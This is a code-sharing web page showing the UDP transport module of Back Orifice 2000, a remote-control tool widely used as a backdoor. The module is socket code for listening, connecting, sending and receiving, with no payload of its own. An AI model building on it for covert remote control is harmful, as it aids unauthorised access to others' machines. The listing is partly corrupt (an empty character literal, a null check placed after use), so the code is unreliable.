开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
io_simpleudp.cpp
资源名称：bo2ksrc.zip　[点击查看]
上传用户：jinandeyu
上传日期：2007-01-05
资源大小：620k
文件大小：12k
源码类别：

远程控制编程

开发平台：

WINDOWS

io_simpleudp.cpp：源码内容
  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  9.     This program is distributed in the hope that it will be useful,
  10.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  11.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12.     GNU General Public License for more details.
  14.     You should have received a copy of the GNU General Public License
  15.     along with this program; if not, write to the Free Software
  16.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  18. The author of this program may be contacted at dildog@l0pht.com. */
  20. #include<windows.h>
  21. #include<winsock.h>
  22. #include<iohandler.h>
  23. #include<io_simpleudp.h>
  24. #include<config.h>
  25. #include<strhandle.h>
  27. static IO_HANDLER g_SimpleIOH;
  29. #pragma pack(push,1)
  31. #define MAX_UDP_CHILDREN 32
  33. typedef struct __udpsocket {
  34. SOCKET s;
  35. SOCKADDR_IN rmt;
  36. DWORD dwState;
  37. DWORD dwTime;
  38. char svConnectAddr[256];
  39. struct __udpsocket *pParent;
  40. struct __udpsocket **pChildSockets;
  41. } UDPSOCKET;
  43. #define UDP_TIMEOUT 120000
  45. #define US_CONNECTED 1
  46. #define US_LISTEN 2
  48. typedef struct {
  49. DWORD dwFlags;
  50. } UDPHDR;
  52. #define UF_RST 1
  54. #pragma pack(pop)
  56. static char g_svUDPIOConfig[]="<**CFG**>UDPIO"
  57.                        "N[0,65535]:Default Port=54321";
  59. // Proper linkage type
  61. IO_HANDLER *GetSimpleUdpIOHandler(void);
  63. int _cdecl UDPIO_Insert(void)
  64. {
  65. // Initialize Winsock 1.1
  66. WSADATA wsaData;
  67. if(WSAStartup(MAKEWORD(1,1), &wsaData)!=0) return -1;
  68. if(LOBYTE(wsaData.wVersion)!=1 || HIBYTE(wsaData.wVersion)!=1) {
  69. WSACleanup();
  70. return -1;
  71. }
  73. return 0;
  74. }
  76. int _cdecl UDPIO_Remove(void)
  77. {
  78. // Clean up Winsock 1.1
  79. WSACleanup();
  80. return 0;
  81. }
  83. void * _cdecl UDPIO_Listen(char *svTarget)
  84. {
  85. UDPSOCKET *udps;
  87. // Get listen port
  88. struct in_addr bindAddr;
  89. bindAddr.S_un.S_addr=INADDR_ANY;
  90. int nPort=0;
  92. if(svTarget==NULL) nPort=GetCfgNum(g_svUDPIOConfig,"Default Port");
  93. else if(lstrcmpi(svTarget,"RANDOM")!=0) {
  94. char svAdr[260],*svPort;
  95. lstrcpyn(svAdr,svTarget,260);
  96. svPort=BreakString(svAdr,":");
  97. if(svPort==NULL) {
  98. nPort=atoi(svAdr);
  99. } else {
  100. bindAddr.S_un.S_addr=inet_addr(svAdr);
  101. nPort=atoi(svPort);
  102. }
  103. }
  105. // Create listener socket
  106. SOCKET s;
  107. s=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  108. if(s==INVALID_SOCKET) return NULL;
  110. // Bind socket
  111. SOCKADDR_IN saddr;
  112. memset(&saddr,0,sizeof(SOCKADDR_IN));
  113. saddr.sin_addr.S_un.S_addr=INADDR_ANY;
  114. saddr.sin_family=AF_INET;
  115. saddr.sin_port=htons((WORD)nPort);
  117. if(bind(s,(SOCKADDR *) &saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
  118. closesocket(s);
  119. return NULL;
  120. }
  122. int namelen=sizeof(SOCKADDR_IN);
  123. getsockname(s,(SOCKADDR *)&saddr,&namelen);
  125. // Allocate state structure
  126. udps=(UDPSOCKET *)malloc(sizeof(UDPSOCKET));
  127. if(udps==NULL) {
  128. closesocket(s);
  129. return NULL;
  130. }
  132. // Fill in state structure
  133. udps->s=s;
  134. memset(&(udps->rmt),0,sizeof(SOCKADDR_IN));
  135. udps->dwState=US_LISTEN;
  136. udps->dwTime=0; // No timeout on listening sockets
  137. udps->pParent=NULL;
  138. udps->pChildSockets=(UDPSOCKET **)malloc(MAX_UDP_CHILDREN * sizeof(UDPSOCKET *));
  139. if(udps->pChildSockets==NULL) {
  140. free(udps);
  141. closesocket(s);
  142. return NULL;
  143. }
  144. int i;
  145. for(i=0;i<MAX_UDP_CHILDREN;i++) {
  146. udps->pChildSockets[i]=NULL;
  147. }
  149. // Fill in connect address
  150. if(bindAddr.S_un.S_addr==INADDR_ANY) {
  151. char svHostName[256];
  152. struct hostent *he;
  153. struct in_addr *pAddr;
  154. gethostname(svHostName,256);
  155. he=gethostbyname(svHostName);
  156. pAddr=(struct in_addr *)he->h_addr_list[0];
  157. if(he) {
  158. wsprintf(udps->svConnectAddr,"%u.%u.%u.%u:%u",pAddr->S_un.S_un_b.s_b1,pAddr->S_un.S_un_b.s_b2,pAddr->S_un.S_un_b.s_b3,pAddr->S_un.S_un_b.s_b4,ntohs(saddr.sin_port));
  159. } else {
  160. lstrcpyn(udps->svConnectAddr,"No Connect Addr",256);
  161. }
  162. } else {
  163. lstrcpyn(udps->svConnectAddr,svTarget,256);
  164. }
  169. return udps;
  170. }
  172. void * _cdecl UDPIO_Accept(void *data, char *svAddr, int nMaxLen)
  173. {
  174. // Check to see if this is a listening socket
  175. UDPSOCKET *udps=(UDPSOCKET *)data;
  176. if(udps->dwState!=US_LISTEN) return NULL;
  178. // Check for incoming data
  179. DWORD len; 
  180. if(ioctlsocket(udps->s,FIONREAD,&len)<0) return NULL;
  181. if(len>0) {
  182. // Allocate memory for packet
  183. SOCKADDR_IN sai_from;
  184. int fromlen=sizeof(SOCKADDR_IN);
  185. BYTE *buf=(BYTE *)malloc(len);
  186. if(buf==NULL) return NULL;
  188. // Peek the message
  189. len=recvfrom(udps->s,(char *)buf,len,MSG_PEEK,(SOCKADDR *)&sai_from,&fromlen);
  190. if(len<0) {
  191. free(buf);
  192. return NULL;
  193. }
  195. // Check to see if this is a new connection
  196. int i;
  197. for(i=0;i<MAX_UDP_CHILDREN; i++) {
  198. if(udps->pChildSockets[i]) {
  199. if(memcmp(&(udps->pChildSockets[i]->rmt),&sai_from,sizeof(SOCKADDR_IN))==0) {
  200. // Woops, it's for another child socket
  201. free(buf);
  202. return NULL;
  203. }
  204. }
  205. }
  207. // Check to make sure it isn't a 'close' message
  208. if( (((UDPHDR *)buf)->dwFlags & UF_RST)==UF_RST ) {
  209. // If so, it isn't for a child connection, so we throw it away.
  210. len=recvfrom(udps->s,(char *)buf,len,0,(SOCKADDR *)&sai_from,&fromlen);
  211. free(buf);
  212. return NULL;
  213. }
  214. free(buf);
  216. // Find connections table slot
  217. int nTimeout=-1;
  218. DWORD dwTimeDiff,dwLastTimeDiff=0;
  219. for(i=0;i<MAX_UDP_CHILDREN;i++) {
  220. if(udps->pChildSockets[i]==NULL) break;
  221. dwTimeDiff=(GetTickCount()-udps->pChildSockets[i]->dwTime);
  222. if(dwTimeDiff>dwLastTimeDiff) {
  223. nTimeout=i;
  224. dwLastTimeDiff=dwTimeDiff;
  225. }
  226. }
  227. // Clean out connections table if things are full
  228. if(i==MAX_UDP_CHILDREN) {
  229. if(dwLastTimeDiff>=UDP_TIMEOUT) {
  230. UDPSOCKET *pios=udps->pChildSockets[nTimeout];
  231. udps->pChildSockets[nTimeout]=NULL;
  232. closesocket(pios->s);
  233. pios->dwState=0;
  234. i=nTimeout;
  235. } else {
  236. // Reject accept if things don't work
  237. return NULL;
  238. }
  239. }
  241. // Create accepted socket
  242. UDPSOCKET *acc_ios;
  243. acc_ios=(UDPSOCKET *)malloc(sizeof(UDPSOCKET));
  244. if(acc_ios==NULL) return NULL;
  246. // Add to connections table
  247. udps->pChildSockets[i]=acc_ios;
  249. // Fill in accepted socket
  250. DuplicateHandle(GetCurrentProcess(),(HANDLE)(udps->s),GetCurrentProcess(),(HANDLE *)&(acc_ios->s),0,FALSE,DUPLICATE_SAME_ACCESS);
  251. acc_ios->rmt=sai_from;
  252. acc_ios->dwState=US_CONNECTED;
  253. acc_ios->dwTime=GetTickCount();
  254. acc_ios->pParent=udps;
  255. acc_ios->pChildSockets=NULL; // No child sockets for accepted sockets
  256. if(nMaxLen>16) {
  257. wsprintf(svAddr,"%3u.%3u.%3u.%3u",
  258. sai_from.sin_addr.S_un.S_un_b.s_b1,
  259. sai_from.sin_addr.S_un.S_un_b.s_b2,
  260. sai_from.sin_addr.S_un.S_un_b.s_b3,
  261. sai_from.sin_addr.S_un.S_un_b.s_b4);
  262. }
  264. return acc_ios;
  265. }
  267. return NULL;
  268. }
  270. void * _cdecl UDPIO_Connect(char *svTarget)
  271. {
  272. // Create socket
  273. SOCKET s;
  274. s=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
  275. if(s==INVALID_SOCKET) return NULL;
  277. // Get target port
  278. int nPort;
  279. char svHost[256],*ptr;
  280. lstrcpyn(svHost,svTarget,256);
  281. for(ptr=svHost;((*ptr)!=':') && ((*ptr)!=NULL);ptr++);
  282. if((*ptr)==':') {
  283. *ptr='';
  284. ptr++;
  285. nPort=atoi(ptr);
  286. }
  287. else nPort=GetCfgNum(g_svUDPIOConfig,"Default Port");
  289. // Resolve hostname
  290. DWORD addr;
  291. if((addr=inet_addr(svHost))==INADDR_NONE) {
  292. struct hostent *he=gethostbyname(svHost);
  293. if(he==NULL) {
  294. closesocket(s);
  295. return NULL;
  296. }
  297. addr=*(DWORD *)(he->h_addr_list[0]);
  298. }
  300. // Create socket address
  301. SOCKADDR_IN saddr;
  302. memset(&saddr,0,sizeof(SOCKADDR_IN));
  303. saddr.sin_addr.S_un.S_addr=addr;
  304. saddr.sin_family=AF_INET;
  305. saddr.sin_port=htons((WORD)nPort);
  307. // Allocate internal state structure
  308. UDPSOCKET *udps=(UDPSOCKET *)malloc(sizeof(UDPSOCKET));
  309. if(udps==NULL) {
  310. closesocket(s);
  311. return NULL;
  312. }
  314. // Always 'connected' since there is no handshake
  316. udps->s=s;
  317. udps->rmt=saddr;
  318. udps->dwState=US_CONNECTED;
  319. udps->dwTime=GetTickCount();
  320. udps->pParent=NULL;
  321. udps->pChildSockets=NULL; // No child sockets for source socket
  323. return udps;
  324. }
  326. int _cdecl UDPIO_Close(void *ios)
  327. {
  328. int i;
  329. UDPSOCKET *udps=(UDPSOCKET *)ios;
  330. if(udps==NULL) return -1;
  332. if((udps->dwState & US_CONNECTED) || (udps->dwState & US_LISTEN)) {
  333. if(udps->dwState & US_CONNECTED) {
  334. // Send close packet (don't care if it makes it over though)
  335. UDPHDR hdr;
  336. hdr.dwFlags=UF_RST;
  337. sendto(udps->s,(char *)&hdr,sizeof(UDPHDR),0,(SOCKADDR *)&(udps->rmt),sizeof(SOCKADDR_IN));
  338. if(udps->pParent!=NULL) {
  339. for(i=0;i<MAX_UDP_CHILDREN;i++) {
  340. if(udps->pParent->pChildSockets[i]==udps) {
  341. udps->pParent->pChildSockets[i]=NULL;
  342. }
  343. }
  344. }
  345. }
  346. if(udps->dwState & US_LISTEN) {
  347. for(i=0;i<MAX_UDP_CHILDREN;i++) {
  348. if(udps->pChildSockets[i]!=NULL) {
  349. udps->pChildSockets[i]->pParent=NULL;
  350. }
  351. }
  352. free(udps->pChildSockets);
  353. }
  354. closesocket(udps->s);
  355. }
  357. free(udps);
  358. return 0;
  359. }
  361. char * _cdecl UDPIO_Query(void)
  362. {
  363. return "UDPIO: Back Orifice UDP IO Module v1.0";
  364. }
  366. int _cdecl UDPIO_Recv(void *data, BYTE **pInData, int *pnInDataLen)
  367. {
  368. UDPSOCKET *udps=(UDPSOCKET *)data;
  370. // Ensure socket is connected
  371. if(udps->dwState!=US_CONNECTED) return -1;
  373. // Check for incoming data
  374. DWORD len;
  375. ioctlsocket(udps->s,FIONREAD,&len);
  376. if(len>=sizeof(UDPHDR)) {
  377. // Allocate buffer for data
  378. BYTE *buf=(BYTE *)malloc(len);
  379. if(buf==NULL) {
  380. *pInData=NULL;
  381. *pnInDataLen=0;
  382. return -1;
  383. }
  385. // Peek at data
  386. SOCKADDR_IN sai_from;
  387. int fromlen=sizeof(SOCKADDR_IN);
  388. DWORD lenret;
  389. lenret=recvfrom(udps->s,(char *)buf,len,MSG_PEEK,(struct sockaddr *)&sai_from,&fromlen);
  390. if(lenret<len) {
  391. free(buf);
  392. *pInData=NULL;
  393. *pnInDataLen=0;
  394. return -1;
  395. }
  397. // Ensure that it's for this socket
  398. if(memcmp(&(udps->rmt),&sai_from,sizeof(SOCKADDR_IN))!=0) {
  399. free(buf);
  400. *pInData=NULL;
  401. *pnInDataLen=0;
  402. return 0;
  403. }
  405. // Get real packet
  406. fromlen=sizeof(SOCKADDR_IN);
  407. lenret=recvfrom(udps->s,(char *)buf,len,0,(struct sockaddr *)&sai_from,&fromlen);
  408. if(lenret<len) {
  409. free(buf);
  410. *pInData=NULL;
  411. *pnInDataLen=0;
  412. return -1;
  413. }
  415. // Check for connection reset
  416. if(((UDPHDR *)buf)->dwFlags & UF_RST) {
  417. free(buf);
  418. *pInData=NULL;
  419. *pnInDataLen=0;
  420. return -1;
  421. }
  423. // Pass data back to application
  424. *pInData=(buf+sizeof(UDPHDR));
  425. *pnInDataLen=(len-sizeof(UDPHDR));
  426. return 1;
  427. }
  428. *pInData=NULL;
  429. *pnInDataLen=0;
  430. return 0;
  431. }
  433. int _cdecl UDPIO_Send(void *data, BYTE *pData, int nDataLen)
  434. {
  435. UDPSOCKET *udps=(UDPSOCKET *)data;
  437. // Ensure socket is connected
  438. if(udps->dwState!=US_CONNECTED) return -1;
  440. // Allocate buffer for header and data
  441. BYTE *buf=(BYTE *)malloc(nDataLen+sizeof(UDPHDR));
  442. if(buf==NULL) return -1;
  444. // Create packet
  445. ((UDPHDR *)buf)->dwFlags=0;
  446. memcpy(buf+sizeof(UDPHDR),pData,nDataLen);
  448. // Send packet
  449. int lenret;
  450. lenret=sendto(udps->s,(char *)buf,nDataLen+sizeof(UDPHDR),0,(SOCKADDR *)&(udps->rmt),sizeof(SOCKADDR_IN));
  451. free(buf);
  452. if(lenret==SOCKET_ERROR) 
  453. return -1;
  454. if(lenret<nDataLen) 
  455. return 0;
  457. return 1;
  458. }
  460. void _cdecl UDPIO_Free(void *data, BYTE *pBuffer)
  461. {
  462. if(pBuffer==NULL) return;
  463. free(pBuffer-sizeof(UDPHDR));
  464. }
  466. int _cdecl UDPIO_GetConnectAddr(void *data, char *svAddr, int nMaxLen)
  467. {
  468. UDPSOCKET *udps=(UDPSOCKET *)data;
  470. if(nMaxLen>256) nMaxLen=256;
  471. if(nMaxLen<0) return -1;
  472. lstrcpyn(svAddr,udps->svConnectAddr,nMaxLen);
  473. return 0;
  474. }
  476. IO_HANDLER *GetSimpleUdpIOHandler(void)
  477. {
  478. g_SimpleIOH.pClose=UDPIO_Close;
  479. g_SimpleIOH.pConnect=UDPIO_Connect;
  480. g_SimpleIOH.pFree=UDPIO_Free;
  481. g_SimpleIOH.pListen=UDPIO_Listen;
  482. g_SimpleIOH.pAccept=UDPIO_Accept;
  483. g_SimpleIOH.pQuery=UDPIO_Query;
  484. g_SimpleIOH.pRecv=UDPIO_Recv;
  485. g_SimpleIOH.pInsert=UDPIO_Insert;
  486. g_SimpleIOH.pRemove=UDPIO_Remove;
  487. g_SimpleIOH.pSend=UDPIO_Send;
  488. g_SimpleIOH.pGetConnectAddr=UDPIO_GetConnectAddr;
  490. return &g_SimpleIOH;
  491. }